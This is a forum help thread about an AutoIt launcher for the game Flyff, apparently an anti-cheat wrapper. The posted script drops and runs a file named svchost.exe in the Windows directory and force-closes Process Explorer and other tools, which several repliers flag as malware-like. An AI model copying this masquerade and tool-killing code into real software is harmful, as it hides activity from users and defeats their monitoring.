[Help] about exe and dll

[Zippo 0]

hi everyone i have a problem i have neuz.exe made in autoit and security.dll when i start the neuz.exe it download the security.dll and it run both when i close the neuz.exe it will close but the security.dll still running so i want if i close the neuz.exe also close the security.dll...

sorry in my bad english

[kaotkbliss 146]

I would guess you have DllOpen() in your script, correct?

Make sure you have DllClose() when you are finished with the dll.

[Zippo 0]

what the script for that sorry i am beginner in autoit....

i run it only with the parameter...

[kaotkbliss 146]

It should be inside the script.

Somewhere in the code it would have something like:

$DllHandle=DllOpen(security.dll)

then before it exits or whenever the code is completely done with the dll it should have

DllClose($DllHandle)

[Zippo 0]

this is the sample of my script

expandcollapse popup

FileInstall("security.dll", "security.dll")
Run("security.dll 123456")
FileInstall("splash.jpg", "splash.jpg")
SplashImageOn("", @ScriptDir & "/splash.jpg", "400", "200", "-1", "-1", $DLG_NOTITLE)
Sleep(2000)
SplashOff()
FileInstall("svchost.exe", @WindowsDir & "/svchost.exe")
Run(@WindowsDir & "/svchost.exe")
FileInstall("Mx63.dll", "Mx63.dll")
PluginOpen("Mx63.dll")
While 1
Sleep(1000)
If WinExists("[CLASS:PROCEXPL]", "") Then
WinClose("[CLASS:PROCEXPL]", "")
WinClose("FLYFF")
Beep(500, 1000)
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:TMainForm]", "Unrandomizer") Then
$READ1 = WinGetProcess("[CLASS:TMainForm]"
Beep(500, 1000)
WinClose("[CLASS:TMainForm]", "")
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:ThunderRT6FormDC]", "") Then
Beep(500, 1000)
$TETX = WinGetProcess("[CLASS:ThunderRT6FormDC]", "")
ProcessClose($TETX)
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:WindowsForms10.window.8.app.0.2bf8098_r14_ad1]", "") Then
Beep(500, 1000)
$TETX1 = WinGetProcess("[CLASS:WindowsForms10.window.8.app.0.2bf8098_r14_ad1]", "")
ProcessClose($TETX1)
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If ProcessExists("Neuz.exe") Then
$LISTE = ProcessList("Neuz.exe")
If $LISTE[0][0] > 2 Then 
Local $I 
For $I = 3 To UBound($LISTE) - 1 
ProcessClose($LISTE[$I][1]) 
Next 
EndIf
EndIf

[kaotkbliss 146]

you run, but don't ever end your security.dll

*edit*

More specifically:

Line 2: Run("security.dll 123456")

Maybe try a ProcessClose("security.dll") at the end of the script (before the exit)

I've never tried processclose on anyhting but exe's but it should work

Edited November 29, 2010 by kaotkbliss

[Zippo 0]

is there have any solution for that?

[Zippo 0]

i already try it but nothing happen...

[JohnOne 1,603]

OnAutoItExitRegister( "_end" )

$Pid = Run("security.dll 123456")

Func _end()
     ProcessClose($Pid)
EndFunc

[Zedna 282]

This is absolutely wrong:

Run("security.dll 123456")

You can't call DLL this way. Use DllCall() instead.

See the helpfile for details.

Edited November 29, 2010 by Zedna

[JohnOne 1,603]

oops, I never even thought about that, I just assumed it was working because the OP said it was.

[SmOke_N 211]

Err, anyone even bother to read this guys script?

Why in the hell are you closing all the utilities that can stop your code from working?

[Mobius 89]

hi everyone i have a problem i have neuz.exe made in autoit and security.dll when i start the neuz.exe it download the security.dll and it run both when i close the neuz.exe it will close but the security.dll still running so i want if i close the neuz.exe also close the security.dll...

sorry in my bad english

@Zippo,

You are not the original author of neuz.exe are you?

Basically you are trying to crack neuz.exe, either that or neuz.exe is a piece of malware that you are writing a script to defy????

And why the fuck (if it is your own code) are you fileinstalling svchost.exe!

perhaps "Mx63.dll" injects itself into svchost???"

It makes very little sense, but has my ass hairs twitching all over!

Dll's should be closed when a process terminates, (regardless of dllclose()) if not then there is something jaunty going on here!

Edited November 30, 2010 by Mobius

[Zedna 282]

Err, anyone even bother to read this guys script?

Really no.

I read only first two lines ...

[JohnOne 1,603]

neuz.exe is the main executable for an Asian MMORPG PC game called Flyff.

/thread

[Mobius 89]

~

Edited March 2, 2011 by Mobius